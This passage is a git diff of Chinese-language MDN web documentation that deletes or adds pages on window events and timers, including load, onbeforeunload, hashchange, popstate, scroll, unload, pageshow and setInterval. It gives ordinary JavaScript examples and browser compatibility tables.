+  <textarea readonly class="event-log-contents" rows="8" cols="30"></textarea>
+</div>
+ + + +

JS

+ +
const log = document.querySelector('.event-log-contents');
+const reload = document.querySelector('#reload');
+
+reload.addEventListener('click', () => {
+  log.textContent ='';
+  window.setTimeout(() => {
+      window.location.reload(true);
+  }, 200);
+});
+
+window.addEventListener('load', (event) => {
+    log.textContent = log.textContent + 'load\n';
+});
+
+document.addEventListener('readystatechange', (event) => {
+    log.textContent = log.textContent + `readystate: ${document.readyState}\n`;
+});
+
+document.addEventListener('DOMContentLoaded', (event) => {
+    log.textContent = log.textContent + `DOMContentLoaded\n`;
+});
+
+
+ +

结果

+ +

{{ EmbedLiveSample('Live_example', '100%', '160px') }}

+ +

规范

+ + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('UI Events', '#event-type-load', 'load')}}{{Spec2('UI Events')}}
{{SpecName('HTML WHATWG', '#delay-the-load-event', 'load event')}}{{Spec2('HTML WHATWG')}}此链接指向加载文档结束时执行步骤中的部分。“load”事件也会在许多元素上触发。 请注意,规范中有很多地方涉及到可以"延迟加载事件"的内容。
+ +

浏览器兼容性

+ + + +

{{Compat("api.Window.load_event")}}

+ +

参阅

+ + diff --git a/files/zh-cn/web/api/window/onbeforeunload/index.html b/files/zh-cn/web/api/window/onbeforeunload/index.html deleted file mode 100644 index 78bed99eb9..0000000000 --- a/files/zh-cn/web/api/window/onbeforeunload/index.html +++ /dev/null @@ -1,111 +0,0 @@ ---- -title: window.onbeforeunload -slug: Web/API/Window/onbeforeunload -translation_of: Web/API/WindowEventHandlers/onbeforeunload ---- -
{{ApiRef}}
- -

概述

- -

当窗口即将被{{domxref("window.onunload","卸载(关闭)")}}时,会触发该事件.此时页面文档依然可见,且该事件的默认动作可以被{{domxref("event.preventDefault","取消")}}.

- -

语法

- -
window.onbeforeunload = funcRef
- - - -

示例

- -
window.onbeforeunload = function (e) {
-  e = e || window.event;
-
-  // 兼容IE8和Firefox 4之前的版本
-  if (e) {
-    e.returnValue = '关闭提示';
-  }
-
-  // Chrome, Safari, Firefox 4+, Opera 12+ , IE 9+
-  return '关闭提示';
-};
-
- -

附注

- -

当该事件返回的字符串(事前设置好的event.returnValue的值)不为null或者undefined时,弹出确认窗口让用户自行选择是否关闭当前页面。一些浏览器将该事件返回的字符串显示在弹出窗上。从Firefox 4、 Chrome 51、Opera 38 和Safari 9.1开始,通用确认信息代替事件返回的字符串。比如,火狐上会显示“本页面要求您确认您要离开 - 您输入的数据可能不会被保存”,请查阅{{bug("588292")}}和Chrome Platform Status

- -

从2011年5月25日起,  HTML5 规范 声明:在该事件的处理函数中调用下列弹窗相关的方法时,可以忽略不执行,window.showModalDialog(), window.alert(), window.confirm() window.prompt().

- -

需要指出的是,许多浏览器会忽略该事件并自动关闭页面无需用户的确认。火狐浏览器在配置页面about:config设有一个dom.disable_beforeunload的开关变量用于开启这个功能。

- -

你可以通过{{domxref("EventTarget.addEventListener","window.addEventListener()")}} 或者 {{event("beforeunload")}} 创建该事件。更多信息请点击以上链接。

- -

创建这个事件能防止浏览器缓存部分由javascript产生的页面内容。在页面中含Javascript产生的内容情形下,再次导航返回到原页面javascript不在运行。如果事先有window.onbeforeunload事件,导航返回到先前的页面后javascript将被触发并更新页面内容。

- -

浏览器兼容性

- -
{{CompatibilityTable}}
- -
- - - - - - - - - - - - - - - - - - - -
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support114123
-
- -
- - - - - - - - - - - - - - - - - - - -
FeatureAndroidFirefox Mobile (Gecko)IE PhoneOpera MobileSafari Mobile
Basic support{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
-
- -

规范

- -

该事件最初是由微软公司的IE4引进,虽然没有公开的规范说明,但所有浏览器都支持该事件.目前已被添加至HTML5规范草案中.

- - - -

相关链接

- - diff --git a/files/zh-cn/web/api/window/onhashchange/index.html b/files/zh-cn/web/api/window/onhashchange/index.html deleted file mode 100644 index 0c7f3ebefa..0000000000 --- a/files/zh-cn/web/api/window/onhashchange/index.html +++ /dev/null @@ -1,124 +0,0 @@ ---- -title: window.onhashchange -slug: Web/API/Window/onhashchange -tags: - - HTML-DOM - - Property - - Reference - - WindowEventHandlers -translation_of: Web/API/WindowEventHandlers/onhashchange ---- -

{{APIRef("HTML DOM")}}

- -

当 一个窗口的 hash (URL 中 # 后面的部分)改变时就会触发 hashchange 事件(参见 {{domxref("Window.location", "location.hash")}})。

- -

语法

- -
window.onhashchange = funcRef;
-
- -

或者

- -
<body onhashchange="funcRef();">
- -

以上操作将覆盖现有的事件处理程序。

- -

为了添加一个新的事件处理程序,而不覆盖掉已有的其他事件处理程序,可以使用函数 "addEventListener"

- -
window.addEventListener("hashchange", funcRef, false);
-
- -

参数

- -
-
funcRef
-
对一个函数的引用。
-
- -

例子

- -
if ("onhashchange" in window) {
-    alert("该浏览器支持 hashchange 事件!");
-}
-
-function locationHashChanged() {
-    if (location.hash === "#somecoolfeature") {
-        somecoolfeature();
-    }
-}
-
-window.onhashchange = locationHashChanged;
-
- -

hashchange 事件

- -

hashchange 事件对象有下面两个属性:

- - - - - - - - - - - - - - - - - - - -
属性类型描述
newURL {{ gecko_minversion_inline("6.0") }}DOMString当前页面新的URL
oldURL {{ gecko_minversion_inline("6.0") }}DOMString当前页面旧的URL
- -

Workaround for event.newURL and event.oldURL

- -
//let this snippet run before your hashchange event binding code
-if(!window.HashChangeEvent)(function(){
-	var lastURL=document.URL;
-	window.addEventListener("hashchange",function(event){
-		Object.defineProperty(event,"oldURL",{enumerable:true,configurable:true,value:lastURL});
-		Object.defineProperty(event,"newURL",{enumerable:true,configurable:true,value:document.URL});
-		lastURL=document.URL;
-	});
-}());
- -

规范

- - - - - - - - - - - - - - - - - - - - - - - - - - -
SpecificationStatusComment
{{SpecName('HTML WHATWG', '#windoweventhandlers', 'GlobalEventHandlers')}}{{Spec2('HTML WHATWG')}} 
{{SpecName('HTML5.1', '#windoweventhandlers', 'GlobalEventHandlers')}}{{Spec2('HTML5.1')}} 
{{SpecName("HTML5 W3C", "#windoweventhandlers", "GlobalEventHandlers")}}{{Spec2('HTML5 W3C')}} 
- -

浏览器兼容性

- -

{{Compat("api.WindowEventHandlers.onhashchange")}}

- - diff --git a/files/zh-cn/web/api/window/onmouseup/index.html b/files/zh-cn/web/api/window/onmouseup/index.html deleted file mode 100644 index 03a4b116b8..0000000000 --- a/files/zh-cn/web/api/window/onmouseup/index.html +++ /dev/null @@ -1,43 +0,0 @@ ---- -title: window.onmouseup -slug: Web/API/Window/onmouseup -translation_of: Web/API/GlobalEventHandlers/onmouseup -translation_of_original: Web/API/Window/onmouseup ---- -

{{ ApiRef() }}

-

概述

-

当前窗口的mouseup事件的事件句柄.

-

语法

-
window.onmouseup = funcRef;
-
-

参数

- -

例子

-
window.onmouseup = doFunc;
-
-
<html>
-<head>
-
-<title>onmouseup测试</title>
-
-<script type="text/javascript">
-
-window.onmouseup = mouseup;
-
-function mouseup()
-{
- alert("检测到mouseup事件!");
-}
-</script>
-</head>
-
-<body>
-<p>在页面上按下鼠标中某个键,保持几秒后松开.mouseup事件会在你松开鼠标时触发</p>
-</body>
-</html>
-
-

规范

-

没有任何公开的标准

-

{{ languages( { "ja": "ja/DOM/window.onmouseup" ,"en": "en/DOM/window.onmouseup" } ) }}

diff --git a/files/zh-cn/web/api/window/onpopstate/index.html b/files/zh-cn/web/api/window/onpopstate/index.html deleted file mode 100644 index 6efc1ec835..0000000000 --- a/files/zh-cn/web/api/window/onpopstate/index.html +++ /dev/null @@ -1,68 +0,0 @@ ---- -title: window.onpopstate -slug: Web/API/Window/onpopstate -translation_of: Web/API/WindowEventHandlers/onpopstate ---- -

{{ ApiRef() }}

- -

{{ gecko_minversion_header("2") }}

- -

概述

- -

window.onpopstatepopstate事件在window对象上的事件处理程序.

- -

每当处于激活状态的历史记录条目发生变化时,popstate事件就会在对应window对象上触发. 如果当前处于激活状态的历史记录条目是由history.pushState()方法创建,或者由history.replaceState()方法修改过的, 则popstate事件对象的state属性包含了这个历史记录条目的state对象的一个拷贝.

- -

注意:调用history.pushState()或者history.replaceState()不会触发popstate事件. popstate事件只会在浏览器某些行为下触发, 比如点击后退、前进按钮(或者在JavaScript中调用history.back()、history.forward()、history.go()方法),此外,a 标签的锚点也会触发该事件.

- -

当网页加载时,各浏览器对popstate事件是否触发有不同的表现,Chrome 和 Safari会触发popstate事件, 而Firefox不会.

- -

语法

- -
window.onpopstate = funcRef;
-
- - - -

popstate事件

- -

假如当前网页地址为http://example.com/example.html,则运行下述代码后:

- -
window.onpopstate = function(event) {
-  alert("location: " + document.location + ", state: " + JSON.stringify(event.state));
-};
-//绑定事件处理函数.
-history.pushState({page: 1}, "title 1", "?page=1");    //添加并激活一个历史记录条目 http://example.com/example.html?page=1,条目索引为1
-history.pushState({page: 2}, "title 2", "?page=2");    //添加并激活一个历史记录条目 http://example.com/example.html?page=2,条目索引为2
-history.replaceState({page: 3}, "title 3", "?page=3"); //修改当前激活的历史记录条目 http://ex..?page=2 变为 http://ex..?page=3,条目索引为3
-history.back(); // 弹出 "location: http://example.com/example.html?page=1, state: {"page":1}"
-history.back(); // 弹出 "location: http://example.com/example.html, state: null
-history.go(2);  // 弹出 "location: http://example.com/example.html?page=3, state: {"page":3}
-
- -

即便进入了那些非pushState和replaceState方法作用过的(比如http://example.com/example.html)没有state对象关联的那些网页, popstate事件也仍然会被触发.

- -

规范

- - - -

浏览器兼容性

- - - -

{{Compat("api.WindowEventHandlers.onpopstate")}}

- -

相关链接

- - - -

{{ languages( {"en": "en/DOM/window.onpopstate" } ) }}

diff --git a/files/zh-cn/web/api/window/onscroll/index.html b/files/zh-cn/web/api/window/onscroll/index.html deleted file mode 100644 index af48e1575f..0000000000 --- a/files/zh-cn/web/api/window/onscroll/index.html +++ /dev/null @@ -1,54 +0,0 @@ ---- -title: window.onscroll -slug: Web/API/Window/onscroll -translation_of: Web/API/GlobalEventHandlers/onscroll -translation_of_original: Web/API/Window/onscroll ---- -

{{ ApiRef() }}

-

概述

-

为当前页面的页面滚动事件添加事件处理函数.

-

语法

-
window.onscroll = funcRef;
-
- -

例子

-
window.onscroll = function (e) {
-  // 当页面的滚动条滚动时,会执行这里的代码
-}
-
-
<html>
-<head>
-
-<title>onscroll test</title>
-
-<script type="text/javascript">
-
-window.onscroll = scroll;
-
-function scroll()
-{
- alert("检测到页面滚动事件:"+window.pageXOffset+" "+window.pageYOffset);
- // 注意: window.innerWidth 和 window.innerHeight 可以获得页面可见区域的宽和高.
-}
-</script>
-</head>
-
-<body>
-<p>Resize the window</p>
-<p>to a very small size,</p>
-<p>and use the scrollbars</p>
-<p>to move around the page content</p>
-<p>in the window.</p>
-</body>
-</html>
-
-

备注

-

{{ Bug("189308") }}, 在旧版本的Gecko中(Gecko 1.8/Firefox 1.5之前), scroll 事件只会在用户拖动滚动条时发生,使用方向键和鼠标滚轮滚动页面则不会触发该事件.

-

当 window.scrollX/scrollY 不为 0时,意味着用户或者网页脚本已经执行了窗口的滚动行为.

-

规范

- -

{{ languages( { "en": "en/DOM/window.onscroll"} ) }}

diff --git a/files/zh-cn/web/api/window/onunload/index.html b/files/zh-cn/web/api/window/onunload/index.html deleted file mode 100644 index 5e766c1d67..0000000000 --- a/files/zh-cn/web/api/window/onunload/index.html +++ /dev/null @@ -1,69 +0,0 @@ ---- -title: window.onunload -slug: Web/API/Window/onunload -translation_of: Web/API/WindowEventHandlers/onunload ---- -

{{ ApiRef("HTML DOM") }}

- -

概述

- -

{{domxref("WindowEventHandlers")}} 的混入特性 onunload 是 {{domxref("EventHandler")}}  处理 {{Event("unload")}} 事件的方法。该事件在关闭窗口资源和内容的时候触发。页面资源的清除工作会在 unload  事件之后进行。

- -
-

注意事项: 具备弹窗阻止功能的浏览器会忽略 onunload  事件回调中调用的 {{domxref("Window.open()")}} 方法。

-
- -
-

onunload 特性(乃至 unload 事件本身) 并非使用 sendBeacon()的正确途径,要调用 sendBeacon() 接口,应当使用 visibilitychange 和 pagehide 事件。 参见 Beacon API is broken

-
- -

语法

- -
window.addEventListener("unload", function(event) { ... });
-window.onunload = function(event) { ... };
- -

通常而言,我们推荐使用 {{domxref("EventTarget.addEventListener", "window.addEventListener()")}} 来监听 {{event("unload")}} 事件,而不是直接给 onunload 赋值。

- -

例子

- -
<html>
-<head>
-
-<title>onunload test</title>
-
-<script type="text/javascript">
-
-window.onunload = unloadPage;
-
-function unloadPage()
-{
- alert("unload event detected!");
-}
-</script>
-</head>
-
-<body>
-<p>Reload a new page into the browser<br />
- to fire the unload event for this page.</p>
-<p>You can also use the back or forward buttons<br />
- to load a new page and fire this event.</p>
-</body>
-</html>
-
-
- -

规范

- -

{{ DOM0() }}

- -

{{ languages( {"en": "en/DOM/window.onunload" } ) }}

- -

浏览器兼容性

- - - -

{{Compat("api.WindowEventHandlers.onunload")}}

- -

在 Firefox 1.5 中,页面使用此事件处理程序会阻止浏览器在 bfcache 内存中缓存页面(译者注:翻译可能没有达意,请对照英文原文)。详细信息请参阅使用 Firefox 1.5:缓存

diff --git a/files/zh-cn/web/api/window/pageshow_event/index.html b/files/zh-cn/web/api/window/pageshow_event/index.html new file mode 100644 index 0000000000..d0aec41716 --- /dev/null +++ b/files/zh-cn/web/api/window/pageshow_event/index.html @@ -0,0 +1,143 @@ +--- +title: pageshow +slug: Web/Events/pageshow +translation_of: Web/API/Window/pageshow_event +--- +

当一条会话历史记录被执行的时候将会触发页面显示(pageshow)事件。(这包括了后退/前进按钮操作,同时也会在onload 事件触发后初始化页面时触发)

+ +

基本信息

+ +
+
规范
+
HTML5
+
接口
+
PageTransitionEvent
+
事件冒泡
+
No
+
事件取消
+
No
+
事件源
+
Document (dispatched on Window)
+
默认操作
+
None
+
+ +

属性

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
PropertyTypeDescription
target {{readonlyInline}}{{domxref("EventTarget")}}The event target (the topmost target in the DOM tree).
type {{readonlyInline}}{{domxref("DOMString")}}The type of event.
bubbles {{readonlyInline}}{{jsxref("Boolean")}}Whether the event normally bubbles or not.
cancelable {{readonlyInline}}{{jsxref("Boolean")}}Whether the event is cancellable or not.
persisted {{readonlyInline}}{{jsxref("boolean")}}表示网页是否是来自缓存.
+ +

示例

+ +

以下示例将会在控制台打印由前进/后退按钮以及load事件触发后引起的pageshow事件:

+ +
window.addEventListener('pageshow', function(event) {
+    console.log('after , pageshow :',event);
+});
+
+
+window.addEventListener('load', function() {
+    console.log('before');
+});
+
+ + + + + +

不规范的写法,你同样可以将这个事件当做一个属性添加到body标签,类似于onload

+ +
<body onload="myonload()" onpageshow="mypageshowcode()">
+ +

浏览器兼容性

+ +

{{CompatibilityTable()}}

+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support{{CompatChrome("4")}}{{CompatGeckoDesktop("1.8")}}11155
+
+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureAndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support2.3{{CompatUnknown()}}11355.1
+ + +
+ +

相关事件

+ + diff --git a/files/zh-cn/web/api/window/restore/index.html b/files/zh-cn/web/api/window/restore/index.html deleted file mode 100644 index 140827ddb9..0000000000 --- a/files/zh-cn/web/api/window/restore/index.html +++ /dev/null @@ -1,17 +0,0 @@ ---- -title: Window.restore() -slug: Web/API/Window/restore -translation_of: Web/API/Window/moveTo -translation_of_original: Web/API/Window/restore ---- -

{{APIRef}}

- -

这个方法现在已经失效,不过可以使用下面的方法代替:

- -

{{domxref("window.moveTo")}}({{domxref("window.screenX")}}, {{domxref("window.screenY")}});

- -

Browser Compatibility

- - - -

{{Compat("api.Window.restore")}}

diff --git a/files/zh-cn/web/api/window/setinterval/index.html b/files/zh-cn/web/api/window/setinterval/index.html deleted file mode 100644 index 385a19b81b..0000000000 --- a/files/zh-cn/web/api/window/setinterval/index.html +++ /dev/null @@ -1,635 +0,0 @@ ---- -title: window.setInterval -slug: Web/API/Window/setInterval -tags: - - API - - DOM - - 定时 - - 方法 - - 时间 -translation_of: Web/API/WindowOrWorkerGlobalScope/setInterval ---- -
{{ ApiRef("HTML DOM") }}
- -

{{domxref("WindowOrWorkerGlobalScope")}} 的 setInterval() 方法重复调用一个函数或执行一个代码段,在每次调用之间具有固定的时间延迟。

- -

在窗口和工作接口上提供的setInterval()方法重复调用函数或执行代码片段,每次调用之间有固定的时间延迟。它返回一个时间间隔ID,该ID唯一地标识时间间隔,因此您可以稍后通过调用clearInterval()来删除它。这个方法是由WindowOrWorkerGlobalScope mixin定义的。

- -

语法

- -
var intervalID = scope.setInterval(func, delay, [arg1, arg2, ...]);
-var intervalID = scope.setInterval(code, delay);
-
- -

参数

- -
-
func
-
要重复调用的函数。 每经过指定 延迟 毫秒后执行的{{jsxref("函数")}} 。该函数不接受任何参数,也没有返回值。
-
code
-
这个语法是可选的,你可以传递一个字符串来代替一个函数对象,你传递的字符串会被编译然后每个delay毫秒时间内执行一次。这个语法因为存在安全风险所以不被推荐使用。
-
delay
-
是每次延迟的毫秒数 (一秒等于1000毫秒),函数的每次调用会在该延迟之后发生。和setTimeout一样,实际的延迟时间可能会稍长一点。这个时间计算单位是毫秒(千分之一秒),这个定时器会使指定方法或者代码段执行的时候进行时间延迟。如果这个参数值小于10,则默认使用值为10。请注意,真正延迟时间或许更长; 请参考示例: {{SectionOnPage("/en-US/docs/Web/API/WindowOrWorkerGlobalScope/setTimeout", "Reasons for delays longer than specified")}} 
-
arg1, ..., argN {{optional_inline}}
-
当定时器过期的时候,将被传递给func指定函数的附加参数。
-
- -

返回值

- -

此返回值intervalID是一个非零数值,用来标识通过setInterval()创建的计时器,这个值可以用来作为clearInterval()的参数来清除对应的计时器 。

- -

值得注意的是,setInterval()setTimeout()共享同一个ID池,并且clearInterval()clearTimeout()在技术上是可互换使用的。但是,我们必须去匹配clearInterval()clearTimeout()对应的id,以避免代码杂乱无章,增强代码的可维护性。

- -
Note: The delay argument is converted to a signed 32-bit integer. This effectively limits delay to 2147483647 ms, since it's specified as a signed integer in the IDL.
- -

示例

- -

例1:基本用法

- -

下面例子是 setInterval()的基本语法

- -
var intervalID = window.setInterval(myCallback, 500, 'Parameter 1', 'Parameter 2');
-
-function myCallback(a, b)
-{
- // Your code here
- // Parameters are purely optional.
- console.log(a);
- console.log(b);
-}
-
- -

例2:两种颜色的切换

- -

下面的例子里会每隔一秒就调用函数 flashtext() 一次,直至你通过按下 Stop 按钮来清除本次重复操作的唯一辨识符 intervalID

- -
<!DOCTYPE html>
-<html>
-<head>
-  <meta charset="UTF-8" />
-  <title>setInterval/clearInterval example</title>
-
-  <script>
-    var nIntervId;
-
-    function changeColor() {
-      nIntervId = setInterval(flashText, 1000);
-    }
-
-    function flashText() {
-      var oElem = document.getElementById('my_box');
-      oElem.style.color = oElem.style.color == 'red' ? 'blue' : 'red';
-      // oElem.style.color == 'red' ? 'blue' : 'red' is a ternary operator.
-    }
-
-    function stopTextColor() {
-      clearInterval(nIntervId);
-    }
-  </script>
-</head>
-
-<body onload="changeColor();">
-  <div id="my_box">
-    <p>Hello World</p>
-  </div>
-
-  <button onclick="stopTextColor();">Stop</button>
-</body>
-</html>
-
- -

例3:打字机效果

- -

下面这个例子通过键入、删除和再次键入所有 NodeList 中的符合特定的选择器的字符,以达到打字机的效果。

- -
-
<!DOCTYPE html>
-<html>
-<head>
-<meta charset="UTF-8" />
-<title>JavaScript Typewriter - MDN Example</title>
-<script>
-function Typewriter (sSelector, nRate) {
-
-  function clean () {
-    clearInterval(nIntervId);
-    bTyping = false;
-    bStart = true;
-    oCurrent = null;
-    aSheets.length = nIdx = 0;
-  }
-
-  function scroll (oSheet, nPos, bEraseAndStop) {
-    if (!oSheet.hasOwnProperty("parts") || aMap.length < nPos) { return true; }
-
-    var oRel, bExit = false;
-
-    if (aMap.length === nPos) { aMap.push(0); }
-
-    while (aMap[nPos] < oSheet.parts.length) {
-      oRel = oSheet.parts[aMap[nPos]];
-
-      scroll(oRel, nPos + 1, bEraseAndStop) ? aMap[nPos]++ : bExit = true;
-
-      if (bEraseAndStop && (oRel.ref.nodeType - 1 | 1) === 3 && oRel.ref.nodeValue) {
-        bExit = true;
-        oCurrent = oRel.ref;
-        sPart = oCurrent.nodeValue;
-        oCurrent.nodeValue = "";
-      }
-
-      oSheet.ref.appendChild(oRel.ref);
-      if (bExit) { return false; }
-    }
-
-    aMap.length--;
-    return true;
-  }
-
-  function typewrite () {
-    if (sPart.length === 0 && scroll(aSheets[nIdx], 0, true) && nIdx++ === aSheets.length - 1) { clean(); return; }
-
-    oCurrent.nodeValue += sPart.charAt(0);
-    sPart = sPart.slice(1);
-  }
-
-  function Sheet (oNode) {
-    this.ref = oNode;
-    if (!oNode.hasChildNodes()) { return; }
-    this.parts = Array.prototype.slice.call(oNode.childNodes);
-
-    for (var nChild = 0; nChild < this.parts.length; nChild++) {
-      oNode.removeChild(this.parts[nChild]);
-      this.parts[nChild] = new Sheet(this.parts[nChild]);
-    }
-  }
-
-  var
-    nIntervId, oCurrent = null, bTyping = false, bStart = true,
-    nIdx = 0, sPart = "", aSheets = [], aMap = [];
-
-  this.rate = nRate || 100;
-
-  this.play = function () {
-    if (bTyping) { return; }
-    if (bStart) {
-      var aItems = document.querySelectorAll(sSelector);
-
-      if (aItems.length === 0) { return; }
-      for (var nItem = 0; nItem < aItems.length; nItem++) {
-        aSheets.push(new Sheet(aItems[nItem]));
-        /* Uncomment the following line if you have previously hidden your elements via CSS: */
-        // aItems[nItem].style.visibility = "visible";
-      }
-
-      bStart = false;
-    }
-
-    nIntervId = setInterval(typewrite, this.rate);
-    bTyping = true;
-  };
-
-  this.pause = function () {
-    clearInterval(nIntervId);
-    bTyping = false;
-  };
-
-  this.terminate = function () {
-    oCurrent.nodeValue += sPart;
-    sPart = "";
-    for (nIdx; nIdx < aSheets.length; scroll(aSheets[nIdx++], 0, false));
-    clean();
-  };
-}
-
-/* usage: */
-var oTWExample1 = new Typewriter(/* elements: */ "#article, h1, #info, #copyleft", /* frame rate (optional): */ 15);
-
-/* default frame rate is 100: */
-var oTWExample2 = new Typewriter("#controls");
-
-/* you can also change the frame rate value modifying the "rate" property; for example: */
-// oTWExample2.rate = 150;
-
-onload = function () {
-  oTWExample1.play();
-  oTWExample2.play();
-};
-</script>
-<style type="text/css">
-span.intLink, a, a:visited {
-  cursor: pointer;
-  color: #000000;
-  text-decoration: underline;
-}
-
-#info {
-  width: 180px;
-  height: 150px;
-  float: right;
-  background-color: #eeeeff;
-  padding: 4px;
-  overflow: auto;
-  font-size: 12px;
-  margin: 4px;
-  border-radius: 5px;
-  /* visibility: hidden; */
-}
-</style>
-</head>
-
-<body>
-
-<p id="copyleft" style="font-style: italic; font-size: 12px; text-align: center;">CopyLeft 2012 by <a href="https://developer.mozilla.org/" target="_blank">Mozilla Developer Network</a></p>
-<p id="controls" style="text-align: center;">[&nbsp;<span class="intLink" onclick="oTWExample1.play();">Play</span> | <span class="intLink" onclick="oTWExample1.pause();">Pause</span> | <span class="intLink" onclick="oTWExample1.terminate();">Terminate</span>&nbsp;]</p>
-<div id="info">
-Vivamus blandit massa ut metus mattis in fringilla lectus imperdiet. Proin ac ante a felis ornare vehicula. Fusce pellentesque lacus vitae eros convallis ut mollis magna pellentesque. Pellentesque placerat enim at lacus ultricies vitae facilisis nisi fringilla. In tincidunt tincidunt tincidunt.
-</div>
-<h1>JavaScript Typewriter</h1>
-
-<div id="article">
-<p>Lorem ipsum dolor sit amet, consectetur adipiscing elit. Nullam ultrices dolor ac dolor imperdiet ullamcorper. Suspendisse quam libero, luctus auctor mollis sed, malesuada condimentum magna. Quisque in ante tellus, in placerat est. Pellentesque habitant morbi tristique senectus et netus et malesuada fames ac turpis egestas. Donec a mi magna, quis mattis dolor. Etiam sit amet ligula quis urna auctor imperdiet nec faucibus ante. Mauris vel consectetur dolor. Nunc eget elit eget velit pulvinar fringilla consectetur aliquam purus. Curabitur convallis, justo posuere porta egestas, velit erat ornare tortor, non viverra justo diam eget arcu. Phasellus adipiscing fermentum nibh ac commodo. Nam turpis nunc, suscipit a hendrerit vitae, volutpat non ipsum.</p>
-<form>
-<p>Phasellus ac nisl lorem: <input type="text" /><br />
-<textarea style="width: 400px; height: 200px;">Nullam commodo suscipit lacus non aliquet. Phasellus ac nisl lorem, sed facilisis ligula. Nam cursus lobortis placerat. Sed dui nisi, elementum eu sodales ac, placerat sit amet mauris. Pellentesque dapibus tellus ut ipsum aliquam eu auctor dui vehicula. Quisque ultrices laoreet erat, at ultrices tortor sodales non. Sed venenatis luctus magna, ultricies ultricies nunc fringilla eget. Praesent scelerisque urna vitae nibh tristique varius consequat neque luctus. Integer ornare, erat a porta tempus, velit justo fermentum elit, a fermentum metus nisi eu ipsum. Vivamus eget augue vel dui viverra adipiscing congue ut massa. Praesent vitae eros erat, pulvinar laoreet magna. Maecenas vestibulum mollis nunc in posuere. Pellentesque sit amet metus a turpis lobortis tempor eu vel tortor. Cras sodales eleifend interdum.</textarea></p>
-<input type="submit" value="Send" />
-</form>
-<p>Duis lobortis sapien quis nisl luctus porttitor. In tempor semper libero, eu tincidunt dolor eleifend sit amet. Ut nec velit in dolor tincidunt rhoncus non non diam. Morbi auctor ornare orci, non euismod felis gravida nec. Curabitur elementum nisi a eros rutrum nec blandit diam placerat. Aenean tincidunt risus ut nisi consectetur cursus. Ut vitae quam elit. Donec dignissim est in quam tempor consequat. Aliquam aliquam diam non felis convallis suscipit. Nulla facilisi. Donec lacus risus, dignissim et fringilla et, egestas vel eros. Duis malesuada accumsan dui, at fringilla mauris bibStartum quis. Cras adipiscing ultricies fermentum. Praesent bibStartum condimentum feugiat.</p>
-<p>Nam faucibus, ligula eu fringilla pulvinar, lectus tellus iaculis nunc, vitae scelerisque metus leo non metus. Proin mattis lobortis lobortis. Quisque accumsan faucibus erat, vel varius tortor ultricies ac. Lorem ipsum dolor sit amet, consectetur adipiscing elit. Sed nec libero nunc. Nullam tortor nunc, elementum a consectetur et, ultrices eu orci. Lorem ipsum dolor sit amet, consectetur adipiscing elit. Pellentesque a nisl eu sem vehicula egestas.</p>
-</div>
-</body>
-</html>
-
- -

查看示例效果,亦可参考:clearInterval()

- -

回调参数

- -

如前所述,Internet Explorer 9及以下版本不支持在setTimeout()setInterval()中向回调函数传递参数。下面的IE专用代码演示了一种克服这种限制的方法。使用时,只需将以下代码添加到你的脚本顶部即可。

- -
/*\
-|*|
-|*|  IE-specific polyfill that enables the passage of arbitrary arguments to the
-|*|  callback functions of javascript timers (HTML5 standard syntax).
-|*|
-|*|  https://developer.mozilla.org/en-US/docs/Web/API/window.setInterval
-|*|  https://developer.mozilla.org/User:fusionchess
-|*|
-|*|  Syntax:
-|*|  var timeoutID = window.setTimeout(func, delay[, arg1, arg2, ...]);
-|*|  var timeoutID = window.setTimeout(code, delay);
-|*|  var intervalID = window.setInterval(func, delay[, arg1, arg2, ...]);
-|*|  var intervalID = window.setInterval(code, delay);
-|*|
-\*/
-
-if (document.all && !window.setTimeout.isPolyfill) {
-  var __nativeST__ = window.setTimeout;
-  window.setTimeout = function (vCallback, nDelay /*, argumentToPass1, argumentToPass2, etc. */) {
-    var aArgs = Array.prototype.slice.call(arguments, 2);
-    return __nativeST__(vCallback instanceof Function ? function () {
-      vCallback.apply(null, aArgs);
-    } : vCallback, nDelay);
-  };
-  window.setTimeout.isPolyfill = true;
-}
-
-if (document.all && !window.setInterval.isPolyfill) {
-  var __nativeSI__ = window.setInterval;
-  window.setInterval = function (vCallback, nDelay /*, argumentToPass1, argumentToPass2, etc. */) {
-    var aArgs = Array.prototype.slice.call(arguments, 2);
-    return __nativeSI__(vCallback instanceof Function ? function () {
-      vCallback.apply(null, aArgs);
-    } : vCallback, nDelay);
-  };
-  window.setInterval.isPolyfill = true;
-}
-
- -

另一种方式是使用匿名函数调用你的回调函数,但是这种方式开销较大。例如:

- -
var intervalID = setInterval(function() { myFunc('one', 'two', 'three'); }, 1000);
- -

还有一种方式是使用 function's bind. 例如:

- -
var intervalID = setInterval(function(arg1) {}.bind(undefined, 10), 1000);
- -

{{h3_gecko_minversion("Inactive tabs", "5.0")}}

- -

Starting in Gecko 5.0 {{geckoRelease("5.0")}}, intervals are clamped to fire no more often than once per second in inactive tabs.

- -

"this" 的问题

- -

当你给 setInterval() 传递一个方法或者函数的时候,this 值的绑定会存在一些问题。  这个问题在JavaScript 参考 进行了详细解释。

- -

解释

- -

Code executed by setInterval() runs in a separate execution context than the function from which it was called. As a consequence, the this keyword for the called function is set to the window (or global) object, it is not the same as the this value for the function that called setTimeout. See the following example (which uses setTimeout() instead of setInterval() – the problem, in fact, is the same for both timers):

- -
myArray = ['zero', 'one', 'two'];
-
-myArray.myMethod = function (sProperty) {
-    alert(arguments.length > 0 ? this[sProperty] : this);
-};
-
-myArray.myMethod(); // prints "zero,one,two"
-myArray.myMethod(1); // prints "one"
-setTimeout(myArray.myMethod, 1000); // prints "[object Window]" after 1 second
-setTimeout(myArray.myMethod, 1500, "1"); // prints "undefined" after 1,5 seconds
-// passing the 'this' object with .call won't work
-// because this will change the value of this inside setTimeout itself
-// while we want to change the value of this inside myArray.myMethod
-// in fact, it will be an error because setTimeout code expects this to be the window object:
-setTimeout.call(myArray, myArray.myMethod, 2000); // error: "NS_ERROR_XPC_BAD_OP_ON_WN_PROTO: Illegal operation on WrappedNative prototype object"
-setTimeout.call(myArray, myArray.myMethod, 2500, 2); // same error
-
- -

As you can see there are no ways to pass the this object to the callback function in the legacy JavaScript.

- -

一个可能的解决方案

- -

